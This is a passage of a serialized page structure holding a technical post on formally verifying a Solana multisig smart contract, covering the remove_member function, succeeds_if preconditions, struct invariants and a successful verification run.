},\n",{"type":25,"tag":216,"props":29365,"children":29366},{"class":6916,"line":7598},[29367],{"type":25,"tag":216,"props":29368,"children":29369},{"style":6958},[29370],{"type":31,"value":7868},{"type":25,"tag":38,"props":29372,"children":29373},{},[29374,29376,29381,29383,29388],{"type":31,"value":29375},"Here we see that the ",{"type":25,"tag":82,"props":29377,"children":29379},{"className":29378},[],[29380],{"type":31,"value":26689},{"type":31,"value":29382}," of the newly created ",{"type":25,"tag":82,"props":29384,"children":29386},{"className":29385},[],[29387],{"type":31,"value":26681},{"type":31,"value":29389}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":25,"tag":607,"props":29391,"children":29393},{"id":29392},"verify-requirements-to-remove-a-member",[29394],{"type":31,"value":26719},{"type":25,"tag":38,"props":29396,"children":29397},{},[29398,29400,29405,29406,29411,29413,29419],{"type":31,"value":29399},"Now that we've seen both ",{"type":25,"tag":82,"props":29401,"children":29403},{"className":29402},[],[29404],{"type":31,"value":24109},{"type":31,"value":1301},{"type":25,"tag":82,"props":29407,"children":29409},{"className":29408},[],[29410],{"type":31,"value":25719},{"type":31,"value":29412}," let's take a look at the ",{"type":25,"tag":82,"props":29414,"children":29416},{"className":29415},[],[29417],{"type":31,"value":29418},"remove_member",{"type":31,"value":29420}," function:",{"type":25,"tag":206,"props":29422,"children":29424},{"code":29423,"language":6908,"meta":7,"className":6909,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[29425],{"type":25,"tag":82,"props":29426,"children":29427},{"__ignoreMap":7},[29428,29451,29479,29494,29539,29546,29558,29574,29586,29612,29620,29649,29656,29688,29695,29702,29776,29784,29844,29876,29883,29934,29941,29949,30042,30131,30185,30192,30237,30282],{"type":25,"tag":216,"props":29429,"children":29430},{"class":6916,"line":6917},[29431,29435,29439,29443,29447],{"type":25,"tag":216,"props":29432,"children":29433},{"style":6958},[29434],{"type":31,"value":26777},{"type":25,"tag":216,"props":29436,"children":29437},{"style":7369},[29438],{"type":31,"value":26782},{"type":25,"tag":216,"props":29440,"children":29441},{"style":6958},[29442],{"type":31,"value":7020},{"type":25,"tag":216,"props":29444,"children":29445},{"style":7369},[29446],{"type":31,"value":28662},{"type":25,"tag":216,"props":29448,"children":29449},{"style":6958},[29450],{"type":31,"value":24212},{"type":25,"tag":216,"props":29452,"children":29453},{"class":6916,"line":6763},[29454,29458,29462,29467,29471,29475],{"type":25,"tag":216,"props":29455,"children":29456},{"style":6930},[29457],{"type":31,"value":17641},{"type":25,"tag":216,"props":29459,"children":29460},{"style":6930},[29461],{"type":31,"value":25105},{"type":25,"tag":216,"props":29463,"children":29464},{"style":7369},[29465],{"type":31,"value":29466}," MsAuth",{"type":25,"tag":216,"props":29468,"children":29469},{"style":6958},[29470],{"type":31,"value":26862},{"type":25,"tag":216,"props":29472,"children":29473},{"style":7369},[29474],{"type":31,"value":26867},{"type":25,"tag":216,"props":29476,"children":29477},{"style":6958},[29478],{"type":31,"value":11227},{"type":25,"tag":216,"props":29480,"children":29481},{"class":6916,"line":6772},[29482,29486,29490],{"type":25,"tag":216,"props":29483,"children":29484},{"style":6958},[29485],{"type":31,"value":27069},{"type":25,"tag":216,"props":29487,"children":29488},{"style":6930},[29489],{"type":31,"value":7685},{"type":25,"tag":216,"props":29491,"children":29492},{"style":6958},[29493],{"type":31,"value":24212},{"type":25,"tag":216,"props":29495,"children":29496},{"class":6916,"line":6999},[29497,29502,29506,29511,29515,29519,29523,29527,29531,29535],{"type":25,"tag":216,"props":29498,"children":29499},{"style":6941},[29500],{"type":31,"value":29501},"    multisig",{"type":25,"tag":216,"props":29503,"children":29504},{"style":6947},[29505],{"type":31,"value":1466},{"type":25,"tag":216,"props":29507,"children":29508},{"style":7369},[29509],{"type":31,"value":29510}," Box",{"type":25,"tag":216,"props":29512,"children":29513},{"style":6958},[29514],{"type":31,"value":9751},{"type":25,"tag":216,"props":29516,"children":29517},{"style":7369},[29518],{"type":31,"value":21098},{"type":25,"tag":216,"props":29520,"children":29521},{"style":6958},[29522],{"type":31,"value":26862},{"type":25,"tag":216,"props":29524,"children":29525},{"style":7369},[29526],{"type":31,"value":26867},{"type":25,"tag":216,"props":29528,"children":29529},{"style":6958},[29530],{"type":31,"value":7020},{"type":25,"tag":216,"props":29532,"children":29533},{"style":7369},[29534],{"type":31,"value":26681},{"type":25,"tag":216,"props":29536,"children":29537},{"style":6958},[29538],{"type":31,"value":10897},{"type":25,"tag":216,"props":29540,"children":29541},{"class":6916,"line":7104},[29542],{"type":25,"tag":216,"props":29543,"children":29544},{"style":6958},[29545],{"type":31,"value":26879},{"type":25,"tag":216,"props":29547,"children":29548},{"class":6916,"line":7210},[29549,29554],{"type":25,"tag":216,"props":29550,"children":29551},{"style":6930},[29552],{"type":31,"value":29553},"        mut",{"type":25,"tag":216,"props":29555,"children":29556},{"style":6958},[29557],{"type":31,"value":7459},{"type":25,"tag":216,"props":29559,"children":29560},{"class":6916,"line":7238},[29561,29565,29569],{"type":25,"tag":216,"props":29562,"children":29563},{"style":6958},[29564],{"type":31,"value":26963},{"type":25,"tag":216,"props":29566,"children":29567},{"style":6947},[29568],{"type":31,"value":266},{"type":25,"tag":216,"props":29570,"children":29571},{"style":6958},[29572],{"type":31,"value":29573}," [\n",{"type":25,"tag":216,"props":29575,"children":29576},{"class":6916,"line":7251},[29577,29582],{"type":25,"tag":216,"props":29578,"children":29579},{"style":8199},[29580],{"type":31,"value":29581},"            b\"squad\"",{"type":25,"tag":216,"props":29583,"children":29584},{"style":6958},[29585],{"type":31,"value":7459},{"type":25,"tag":216,"props":29587,"children":29588},{"class":6916,"line":7269},[29589,29594,29598,29603,29607],{"type":25,"tag":216,"props":29590,"children":29591},{"style":6958},[29592],{"type":31,"value":29593},"            multisig",{"type":25,"tag":216,"props":29595,"children":29596},{"style":6947},[29597],{"type":31,"value":179},{"type":25,"tag":216,"props":29599,"children":29600},{"style":6958},[29601],{"type":31,"value":29602},"create_key",{"type":25,"tag":216,"props":29604,"children":29605},{"style":6947},[29606],{"type":31,"value":179},{"type":25,"tag":216,"props":29608,"children":29609},{"style":6958},[29610],{"type":31,"value":29611},"as_ref(),\n",{"type":25,"tag":216,"props":29613,"children":29614},{"class":6916,"line":7290},[29615],{"type":25,"tag":216,"props":29616,"children":29617},{"style":8199},[29618],{"type":31,"value":29619},"            b\"multisig\"\n",{"type":25,"tag":216,"props":29621,"children":29622},{"class":6916,"line":7299},[29623,29628,29633,29637,29641,29645],{"type":25,"tag":216,"props":29624,"children":29625},{"style":6958},[29626],{"type":31,"value":29627},"        ], ",{"type":25,"tag":216,"props":29629,"children":29630},{"style":6941},[29631],{"type":31,"value":29632},"bump",{"type":25,"tag":216,"props":29634,"children":29635},{"style":6947},[29636],{"type":31,"value":6950},{"type":25,"tag":216,"props":29638,"children":29639},{"style":6941},[29640],{"type":31,"value":27025},{"type":25,"tag":216,"props":29642,"children":29643},{"style":6947},[29644],{"type":31,"value":179},{"type":25,"tag":216,"props":29646,"children":29647},{"style":6958},[29648],{"type":31,"value":27005},{"type":25,"tag":216,"props":29650,"children":29651},{"class":6916,"line":7551},[29652],{"type":25,"tag":216,"props":29653,"children":29654},{"style":6958},[29655],{"type":31,"value":27013},{"type":25,"tag":216,"props":29657,"children":29658},{"class":6916,"line":7568},[29659,29663,29668,29672,29676,29680,29684],{"type":25,"tag":216,"props":29660,"children":29661},{"style":6930},[29662],{"type":31,"value":24797},{"type":25,"tag":216,"props":29664,"children":29665},{"style":6941},[29666],{"type":31,"value":29667}," multisig_auth",{"type":25,"tag":216,"props":29669,"children":29670},{"style":6947},[29671],{"type":31,"value":1466},{"type":25,"tag":216,"props":29673,"children":29674},{"style":7369},[29675],{"type":31,"value":27098},{"type":25,"tag":216,"props":29677,"children":29678},{"style":6958},[29679],{"type":31,"value":26862},{"type":25,"tag":216,"props":29681,"children":29682},{"style":7369},[29683],{"type":31,"value":26867},{"type":25,"tag":216,"props":29685,"children":29686},{"style":6958},[29687],{"type":31,"value":10083},{"type":25,"tag":216,"props":29689,"children":29690},{"class":6916,"line":7585},[29691],{"type":25,"tag":216,"props":29692,"children":29693},{"style":6958},[29694],{"type":31,"value":7868},{"type":25,"tag":216,"props":29696,"children":29697},{"class":6916,"line":7598},[29698],{"type":25,"tag":216,"props":29699,"children":29700},{"emptyLinePlaceholder":16},[29701],{"type":31,"value":7636},{"type":25,"tag":216,"props":29703,"children":29704},{"class":6916,"line":7607},[29705,29709,29713,29718,29722,29726,29730,29734,29738,29743,29747,29752,29756,29760,29764,29768,29772],{"type":25,"tag":216,"props":29706,"children":29707},{"style":6930},[29708],{"type":31,"value":17641},{"type":25,"tag":216,"props":29710,"children":29711},{"style":6930},[29712],{"type":31,"value":17646},{"type":25,"tag":216,"props":29714,"children":29715},{"style":7041},[29716],{"type":31,"value":29717}," remove_member",{"type":25,"tag":216,"props":29719,"children":29720},{"style":6958},[29721],{"type":31,"value":1844},{"type":25,"tag":216,"props":29723,"children":29724},{"style":6941},[29725],{"type":31,"value":24234},{"type":25,"tag":216,"props":29727,"children":29728},{"style":6947},[29729],{"type":31,"value":1466},{"type":25,"tag":216,"props":29731,"children":29732},{"style":7369},[29733],{"type":31,"value":24243},{"type":25,"tag":216,"props":29735,"children":29736},{"style":6958},[29737],{"type":31,"value":9751},{"type":25,"tag":216,"props":29739,"children":29740},{"style":7369},[29741],{"type":31,"value":29742},"MsAuth",{"type":25,"tag":216,"props":29744,"children":29745},{"style":6958},[29746],{"type":31,"value":10576},{"type":25,"tag":216,"props":29748,"children":29749},{"style":6941},[29750],{"type":31,"value":29751},"old_member",{"type":25,"tag":216,"props":29753,"children":29754},{"style":6947},[29755],{"type":31,"value":1466},{"type":25,"tag":216,"props":29757,"children":29758},{"style":7369},[29759],{"type":31,"value":24811},{"type":25,"tag":216,"props":29761,"children":29762},{"style":6958},[29763],{"type":31,"value":7030},{"type":25,"tag":216,"props":29765,"children":29766},{"style":6947},[29767],{"type":31,"value":17708},{"type":25,"tag":216,"props":29769,"children":29770},{"style":7369},[29771],{"type":31,"value":17713},{"type":25,"tag":216,"props":29773,"children":29774},{"style":6958},[29775],{"type":31,"value":24285},{"type":25,"tag":216,"props":29777,"children":29778},{"class":6916,"line":7630},[29779],{"type":25,"tag":216,"props":29780,"children":29781},{"style":6921},[29782],{"type":31,"value":29783},"    // if there is only one key in this multisig, reject the removal\n",{"type":25,"tag":216,"props":29785,"children":29786},{"class":6916,"line":7639},[29787,29791,29796,29800,29804,29808,29812,29816,29820,29824,29828,29832,29836,29840],{"type":25,"tag":216,"props":29788,"children":29789},{"style":6967},[29790],{"type":31,"value":16229},{"type":25,"tag":216,"props":29792,"children":29793},{"style":6941},[29794],{"type":31,"value":29795}," ctx",{"type":25,"tag":216,"props":29797,"children":29798},{"style":6947},[29799],{"type":31,"value":179},{"type":25,"tag":216,"props":29801,"children":29802},{"style":6958},[29803],{"type":31,"value":18626},{"type":25,"tag":216,"props":29805,"children":29806},{"style":6947},[29807],{"type":31,"value":179},{"type":25,"tag":216,"props":29809,"children":29810},{"style":6958},[29811],{"type":31,"value":27756},{"type":25,"tag":216,"props":29813,"children":29814},{"style":6947},[29815],{"type":31,"value":179},{"type":25,"tag":216,"props":29817,"children":29818},{"style":6958},[29819],{"type":31,"value":24937},{"type":25,"tag":216,"props":29821,"children":29822},{"style":6947},[29823],{"type":31,"value":179},{"type":25,"tag":216,"props":29825,"children":29826},{"style":7041},[29827],{"type":31,"value":13088},{"type":25,"tag":216,"props":29829,"children":29830},{"style":6958},[29831],{"type":31,"value":17994},{"type":25,"tag":216,"props":29833,"children":29834},{"style":6947},[29835],{"type":31,"value":12522},{"type":25,"tag":216,"props":29837,"children":29838},{"style":6983},[29839],{"type":31,"value":8465},{"type":25,"tag":216,"props":29841,"children":29842},{"style":6958},[29843],{"type":31,"value":7235},{"type":25,"tag":216,"props":29845,"children":29846},{"class":6916,"line":7648},[29847,29851,29855,29859,29863,29867,29872],{"type":25,"tag":216,"props":29848,"children":29849},{"style":6967},[29850],{"type":31,"value":19696},{"type":25,"tag":216,"props":29852,"children":29853},{"style":7041},[29854],{"type":31,"value":27459},{"type":25,"tag":216,"props":29856,"children":29857},{"style":6958},[29858],{"type":31,"value":1844},{"type":25,"tag":216,"props":29860,"children":29861},{"style":7369},[29862],{"type":31,"value":27468},{"type":25,"tag":216,"props":29864,"children":29865},{"style":6947},[29866],{"type":31,"value":7432},{"type":25,"tag":216,"props":29868,"children":29869},{"style":7369},[29870],{"type":31,"value":29871},"CannotRemoveSoloMember",{"type":25,"tag":216,"props":29873,"children":29874},{"style":6958},[29875],{"type":31,"value":7791},{"type":25,"tag":216,"props":29877,"children":29878},{"class":6916,"line":7716},[29879],{"type":25,"tag":216,"props":29880,"children":29881},{"style":6958},[29882],{"type":31,"value":7305},{"type":25,"tag":216,"props":29884,"children":29885},{"class":6916,"line":7724},[29886,29890,29894,29898,29902,29906,29910,29914,29918,29922,29926,29930],{"type":25,"tag":216,"props":29887,"children":29888},{"style":6941},[29889],{"type":31,"value":24177},{"type":25,"tag":216,"props":29891,"children":29892},{"style":6947},[29893],{"type":31,"value":179},{"type":25,"tag":216,"props":29895,"children":29896},{"style":6958},[29897],{"type":31,"value":18626},{"type":25,"tag":216,"props":29899,"children":29900},{"style":6947},[29901],{"type":31,"value":179},{"type":25,"tag":216,"props":29903,"children":29904},{"style":6958},[29905],{"type":31,"value":27756},{"type":25,"tag":216,"props":29907,"children":29908},{"style":6947},[29909],{"type":31,"value":179},{"type":25,"tag":216,"props":29911,"children":29912},{"style":7041},[29913],{"type":31,"value":29418},{"type":25,"tag":216,"props":29915,"children":29916},{"style":6958},[29917],{"type":31,"value":1844},{"type":25,"tag":216,"props":29919,"children":29920},{"style":6941},[29921],{"type":31,"value":29751},{"type":25,"tag":216,"props":29923,"children":29924},{"style":6958},[29925],{"type":31,"value":1882},{"type":25,"tag":216,"props":29927,"children":29928},{"style":6947},[29929],{"type":31,"value":605},{"type":25,"tag":216,"props":29931,"children":29932},{"style":6958},[29933],{"type":31,"value":6961},{"type":25,"tag":216,"props":29935,"children":29936},{"class":6916,"line":7754},[29937],{"type":25,"tag":216,"props":29938,"children":29939},{"emptyLinePlaceholder":16},[29940],{"type":31,"value":7636},{"type":25,"tag":216,"props":29942,"children":29943},{"class":6916,"line":7762},[29944],{"type":25,"tag":216,"props":29945,"children":29946},{"style":6921},[29947],{"type":31,"value":29948},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":25,"tag":216,"props":29950,"children":29951},{"class":6916,"line":7794},[29952,29956,29960,29964,29968,29972,29976,29980,29984,29988,29992,29997,30001,30005,30009,30013,30017,30021,30025,30029,30033,30037],{"type":25,"tag":216,"props":29953,"children":29954},{"style":6967},[29955],{"type":31,"value":16229},{"type":25,"tag":216,"props":29957,"children":29958},{"style":6941},[29959],{"type":31,"value":29795},{"type":25,"tag":216,"props":29961,"children":29962},{"style":6947},[29963],{"type":31,"value":179},{"type":25,"tag":216,"props":29965,"children":29966},{"style":6958},[29967],{"type":31,"value":18626},{"type":25,"tag":216,"props":29969,"children":29970},{"style":6947},[29971],{"type":31,"value":179},{"type":25,"tag":216,"props":29973,"children":29974},{"style":6958},[29975],{"type":31,"value":27756},{"type":25,"tag":216,"props":29977,"children":29978},{"style":6947},[29979],{"type":31,"value":179},{"type":25,"tag":216,"props":29981,"children":29982},{"style":6958},[29983],{"type":31,"value":24937},{"type":25,"tag":216,"props":29985,"children":29986},{"style":6947},[29987],{"type":31,"value":179},{"type":25,"tag":216,"props":29989,"children":29990},{"style":7041},[29991],{"type":31,"value":13088},{"type":25,"tag":216,"props":29993,"children":29994},{"style":6958},[29995],{"type":31,"value":29996},"() \u003C ",{"type":25,"tag":216,"props":29998,"children":29999},{"style":7369},[30000],{"type":31,"value":20554},{"type":25,"tag":216,"props":30002,"children":30003},{"style":6947},[30004],{"type":31,"value":7432},{"type":25,"tag":216,"props":30006,"children":30007},{"style":7041},[30008],{"type":31,"value":23427},{"type":25,"tag":216,"props":30010,"children":30011},{"style":6958},[30012],{"type":31,"value":1844},{"type":25,"tag":216,"props":30014,"children":30015},{"style":6941},[30016],{"type":31,"value":24234},{"type":25,"tag":216,"props":30018,"children":30019},{"style":6947},[30020],{"type":31,"value":179},{"type":25,"tag":216,"props":30022,"children":30023},{"style":6958},[30024],{"type":31,"value":18626},{"type":25,"tag":216,"props":30026,"children":30027},{"style":6947},[30028],{"type":31,"value":179},{"type":25,"tag":216,"props":30030,"children":30031},{"style":6958},[30032],{"type":31,"value":27756},{"type":25,"tag":216,"props":30034,"children":30035},{"style":6947},[30036],{"type":31,"value":179},{"type":25,"tag":216,"props":30038,"children":30039},{"style":6958},[30040],{"type":31,"value":30041},"threshold) {\n",{"type":25,"tag":216,"props":30043,"children":30044},{"class":6916,"line":7802},[30045,30049,30054,30058,30062,30066,30070,30074,30078,30082,30086,30090,30094,30098,30102,30106,30110,30115,30119,30123,30127],{"type":25,"tag":216,"props":30046,"children":30047},{"style":6930},[30048],{"type":31,"value":7005},{"type":25,"tag":216,"props":30050,"children":30051},{"style":6941},[30052],{"type":31,"value":30053}," new_threshold",{"type":25,"tag":216,"props":30055,"children":30056},{"style":6947},[30057],{"type":31,"value":1466},{"type":25,"tag":216,"props":30059,"children":30060},{"style":7369},[30061],{"type":31,"value":24984},{"type":25,"tag":216,"props":30063,"children":30064},{"style":6947},[30065],{"type":31,"value":6950},{"type":25,"tag":216,"props":30067,"children":30068},{"style":6941},[30069],{"type":31,"value":29795},{"type":25,"tag":216,"props":30071,"children":30072},{"style":6947},[30073],{"type":31,"value":179},{"type":25,"tag":216,"props":30075,"children":30076},{"style":6958},[30077],{"type":31,"value":18626},{"type":25,"tag":216,"props":30079,"children":30080},{"style":6947},[30081],{"type":31,"value":179},{"type":25,"tag":216,"props":30083,"children":30084},{"style":6958},[30085],{"type":31,"value":27756},{"type":25,"tag":216,"props":30087,"children":30088},{"style":6947},[30089],{"type":31,"value":179},{"type":25,"tag":216,"props":30091,"children":30092},{"style":6958},[30093],{"type":31,"value":24937},{"type":25,"tag":216,"props":30095,"children":30096},{"style":6947},[30097],{"type":31,"value":179},{"type":25,"tag":216,"props":30099,"children":30100},{"style":7041},[30101],{"type":31,"value":13088},{"type":25,"tag":216,"props":30103,"children":30104},{"style":6958},[30105],{"type":31,"value":17830},{"type":25,"tag":216,"props":30107,"children":30108},{"style":6947},[30109],{"type":31,"value":179},{"type":25,"tag":216,"props":30111,"children":30112},{"style":7041},[30113],{"type":31,"value":30114},"try_into",{"type":25,"tag":216,"props":30116,"children":30117},{"style":6958},[30118],{"type":31,"value":17830},{"type":25,"tag":216,"props":30120,"children":30121},{"style":6947},[30122],{"type":31,"value":179},{"type":25,"tag":216,"props":30124,"children":30125},{"style":7041},[30126],{"type":31,"value":7622},{"type":25,"tag":216,"props":30128,"children":30129},{"style":6958},[30130],{"type":31,"value":7627},{"type":25,"tag":216,"props":30132,"children":30133},{"class":6916,"line":7862},[30134,30139,30143,30147,30151,30155,30159,30164,30168,30173,30177,30181],{"type":25,"tag":216,"props":30135,"children":30136},{"style":6941},[30137],{"type":31,"value":30138},"        ctx",{"type":25,"tag":216,"props":30140,"children":30141},{"style":6947},[30142],{"type":31,"value":179},{"type":25,"tag":216,"props":30144,"children":30145},{"style":6958},[30146],{"type":31,"value":18626},{"type":25,"tag":216,"props":30148,"children":30149},{"style":6947},[30150],{"type":31,"value":179},{"type":25,"tag":216,"props":30152,"children":30153},{"style":6958},[30154],{"type":31,"value":27756},{"type":25,"tag":216,"props":30156,"children":30157},{"style":6947},[30158],{"type":31,"value":179},{"type":25,"tag":216,"props":30160,"children":30161},{"style":7041},[30162],{"type":31,"value":30163},"change_threshold",{"type":25,"tag":216,"props":30165,"children":30166},{"style":6958},[30167],{"type":31,"value":1844},{"type":25,"tag":216,"props":30169,"children":30170},{"style":6941},[30171],{"type":31,"value":30172},"new_threshold",{"type":25,"tag":216,"props":30174,"children":30175},{"style":6958},[30176],{"type":31,"value":1882},{"type":25,"tag":216,"props":30178,"children":30179},{"style":6947},[30180],{"type":31,"value":605},{"type":25,"tag":216,"props":30182,"children":30183},{"style":6958},[30184],{"type":31,"value":6961},{"type":25,"tag":216,"props":30186,"children":30187},{"class":6916,"line":12995},[30188],{"type":25,"tag":216,"props":30189,"children":30190},{"style":6958},[30191],{"type":31,"value":7305},{"type":25,"tag":216,"props":30193,"children":30194},{"class":6916,"line":13013},[30195,30199,30204,30208,30212,30216,30220,30224,30228,30232],{"type":25,"tag":216,"props":30196,"children":30197},{"style":6930},[30198],{"type":31,"value":6933},{"type":25,"tag":216,"props":30200,"children":30201},{"style":6941},[30202],{"type":31,"value":30203}," new_index",{"type":25,"tag":216,"props":30205,"children":30206},{"style":6947},[30207],{"type":31,"value":6950},{"type":25,"tag":216,"props":30209,"children":30210},{"style":6941},[30211],{"type":31,"value":29795},{"type":25,"tag":216,"props":30213,"children":30214},{"style":6947},[30215],{"type":31,"value":179},{"type":25,"tag":216,"props":30217,"children":30218},{"style":6958},[30219],{"type":31,"value":18626},{"type":25,"tag":216,"props":30221,"children":30222},{"style":6947},[30223],{"type":31,"value":179},{"type":25,"tag":216,"props":30225,"children":30226},{"style":6958},[30227],{"type":31,"value":27756},{"type":25,"tag":216,"props":30229,"children":30230},{"style":6947},[30231],{"type":31,"value":179},{"type":25,"tag":216,"props":30233,"children":30234},{"style":6958},[30235],{"type":31,"value":30236},"transaction_index;\n",{"type":25,"tag":216,"props":30238,"children":30239},{"class":6916,"line":13058},[30240,30244,30248,30252,30256,30260,30264,30269,30273,30278],{"type":25,"tag":216,"props":30241,"children":30242},{"style":6941},[30243],{"type":31,"value":24177},{"type":25,"tag":216,"props":30245,"children":30246},{"style":6947},[30247],{"type":31,"value":179},{"type":25,"tag":216,"props":30249,"children":30250},{"style":6958},[30251],{"type":31,"value":18626},{"type":25,"tag":216,"props":30253,"children":30254},{"style":6947},[30255],{"type":31,"value":179},{"type":25,"tag":216,"props":30257,"children":30258},{"style":6958},[30259],{"type":31,"value":27756},{"type":25,"tag":216,"props":30261,"children":30262},{"style":6947},[30263],{"type":31,"value":179},{"type":25,"tag":216,"props":30265,"children":30266},{"style":7041},[30267],{"type":31,"value":30268},"set_change_index",{"type":25,"tag":216,"props":30270,"children":30271},{"style":6958},[30272],{"type":31,"value":1844},{"type":25,"tag":216,"props":30274,"children":30275},{"style":6941},[30276],{"type":31,"value":30277},"new_index",{"type":25,"tag":216,"props":30279,"children":30280},{"style":6958},[30281],{"type":31,"value":7101},{"type":25,"tag":216,"props":30283,"children":30284},{"class":6916,"line":13164},[30285],{"type":25,"tag":216,"props":30286,"children":30287},{"style":6958},[30288],{"type":31,"value":7868},{"type":25,"tag":38,"props":30290,"children":30291},{},[30292,30294,30299],{"type":31,"value":30293},"First let's establish the ",{"type":25,"tag":82,"props":30295,"children":30297},{"className":30296},[],[30298],{"type":31,"value":24109},{"type":31,"value":30300}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":25,"tag":206,"props":30302,"children":30304},{"code":30303,"language":6908,"meta":7,"className":6909,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[30305],{"type":25,"tag":82,"props":30306,"children":30307},{"__ignoreMap":7},[30308,30315,30362,30369],{"type":25,"tag":216,"props":30309,"children":30310},{"class":6916,"line":6917},[30311],{"type":25,"tag":216,"props":30312,"children":30313},{"style":6958},[30314],{"type":31,"value":28063},{"type":25,"tag":216,"props":30316,"children":30317},{"class":6916,"line":6763},[30318,30322,30326,30330,30334,30338,30342,30346,30350,30354,30358],{"type":25,"tag":216,"props":30319,"children":30320},{"style":6958},[30321],{"type":31,"value":24177},{"type":25,"tag":216,"props":30323,"children":30324},{"style":6947},[30325],{"type":31,"value":179},{"type":25,"tag":216,"props":30327,"children":30328},{"style":6958},[30329],{"type":31,"value":18626},{"type":25,"tag":216,"props":30331,"children":30332},{"style":6947},[30333],{"type":31,"value":179},{"type":25,"tag":216,"props":30335,"children":30336},{"style":6958},[30337],{"type":31,"value":27756},{"type":25,"tag":216,"props":30339,"children":30340},{"style":6947},[30341],{"type":31,"value":179},{"type":25,"tag":216,"props":30343,"children":30344},{"style":6958},[30345],{"type":31,"value":24937},{"type":25,"tag":216,"props":30347,"children":30348},{"style":6947},[30349],{"type":31,"value":179},{"type":25,"tag":216,"props":30351,"children":30352},{"style":6958},[30353],{"type":31,"value":24975},{"type":25,"tag":216,"props":30355,"children":30356},{"style":6947},[30357],{"type":31,"value":5896},{"type":25,"tag":216,"props":30359,"children":30360},{"style":6958},[30361],{"type":31,"value":23396},{"type":25,"tag":216,"props":30363,"children":30364},{"class":6916,"line":6772},[30365],{"type":25,"tag":216,"props":30366,"children":30367},{"style":6958},[30368],{"type":31,"value":24212},{"type":25,"tag":216,"props":30370,"children":30371},{"class":6916,"line":6999},[30372,30376,30380,30384,30388,30392,30396],{"type":25,"tag":216,"props":30373,"children":30374},{"style":6930},[30375],{"type":31,"value":24220},{"type":25,"tag":216,"props":30377,"children":30378},{"style":7041},[30379],{"type":31,"value":29717},{"type":25,"tag":216,"props":30381,"children":30382},{"style":6958},[30383],{"type":31,"value":1844},{"type":25,"tag":216,"props":30385,"children":30386},{"style":6947},[30387],{"type":31,"value":13541},{"type":25,"tag":216,"props":30389,"children":30390},{"style":6958},[30391],{"type":31,"value":27940},{"type":25,"tag":216,"props":30393,"children":30394},{"style":6947},[30395],{"type":31,"value":13541},{"type":25,"tag":216,"props":30397,"children":30398},{"style":6958},[30399],{"type":31,"value":13546},{"type":25,"tag":38,"props":30401,"children":30402},{},[30403,30405,30410],{"type":31,"value":30404},"And for now let's remove the invariant on the ",{"type":25,"tag":82,"props":30406,"children":30408},{"className":30407},[],[30409],{"type":31,"value":26681},{"type":31,"value":30411}," account:",{"type":25,"tag":206,"props":30413,"children":30415},{"code":30414,"language":6908,"meta":7,"className":6909,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[30416],{"type":25,"tag":82,"props":30417,"children":30418},{"__ignoreMap":7},[30419,30427],{"type":25,"tag":216,"props":30420,"children":30421},{"class":6916,"line":6917},[30422],{"type":25,"tag":216,"props":30423,"children":30424},{"style":6958},[30425],{"type":31,"value":30426},"#[invariant()]\n",{"type":25,"tag":216,"props":30428,"children":30429},{"class":6916,"line":6763},[30430,30434,30438,30442,30446,30450],{"type":25,"tag":216,"props":30431,"children":30432},{"style":6930},[30433],{"type":31,"value":17641},{"type":25,"tag":216,"props":30435,"children":30436},{"style":6930},[30437],{"type":31,"value":25105},{"type":25,"tag":216,"props":30439,"children":30440},{"style":7369},[30441],{"type":31,"value":25110},{"type":25,"tag":216,"props":30443,"children":30444},{"style":6958},[30445],{"type":31,"value":13536},{"type":25,"tag":216,"props":30447,"children":30448},{"style":6947},[30449],{"type":31,"value":13541},{"type":25,"tag":216,"props":30451,"children":30452},{"style":6958},[30453],{"type":31,"value":13546},{"type":25,"tag":38,"props":30455,"children":30456},{},[30457],{"type":31,"value":30458},"Let's test this!",{"type":25,"tag":38,"props":30460,"children":30461},{},[30462,30464,30469],{"type":31,"value":30463},"Our ",{"type":25,"tag":82,"props":30465,"children":30467},{"className":30466},[],[30468],{"type":31,"value":24109},{"type":31,"value":30470}," harness produces:",{"type":25,"tag":206,"props":30472,"children":30474},{"code":30473},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[30475],{"type":25,"tag":82,"props":30476,"children":30477},{"__ignoreMap":7},[30478],{"type":31,"value":30473},{"type":25,"tag":38,"props":30480,"children":30481},{},[30482],{"type":31,"value":30483},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":25,"tag":38,"props":30485,"children":30486},{},[30487,30489,30494],{"type":31,"value":30488},"However, remember that since ",{"type":25,"tag":82,"props":30490,"children":30492},{"className":30491},[],[30493],{"type":31,"value":24109},{"type":31,"value":30495}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":25,"tag":38,"props":30497,"children":30498},{},[30499,30501,30506,30508,30513,30515,30520],{"type":31,"value":30500},"Suppose we want to be sure that this condition is the ",{"type":25,"tag":64,"props":30502,"children":30503},{},[30504],{"type":31,"value":30505},"only condition",{"type":31,"value":30507}," in which the function will succeed (i.e. ",{"type":25,"tag":64,"props":30509,"children":30510},{},[30511],{"type":31,"value":30512},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":31,"value":30514},"). We could attempt to verify the other side of this with an ",{"type":25,"tag":82,"props":30516,"children":30518},{"className":30517},[],[30519],{"type":31,"value":24116},{"type":31,"value":30521}," macro such 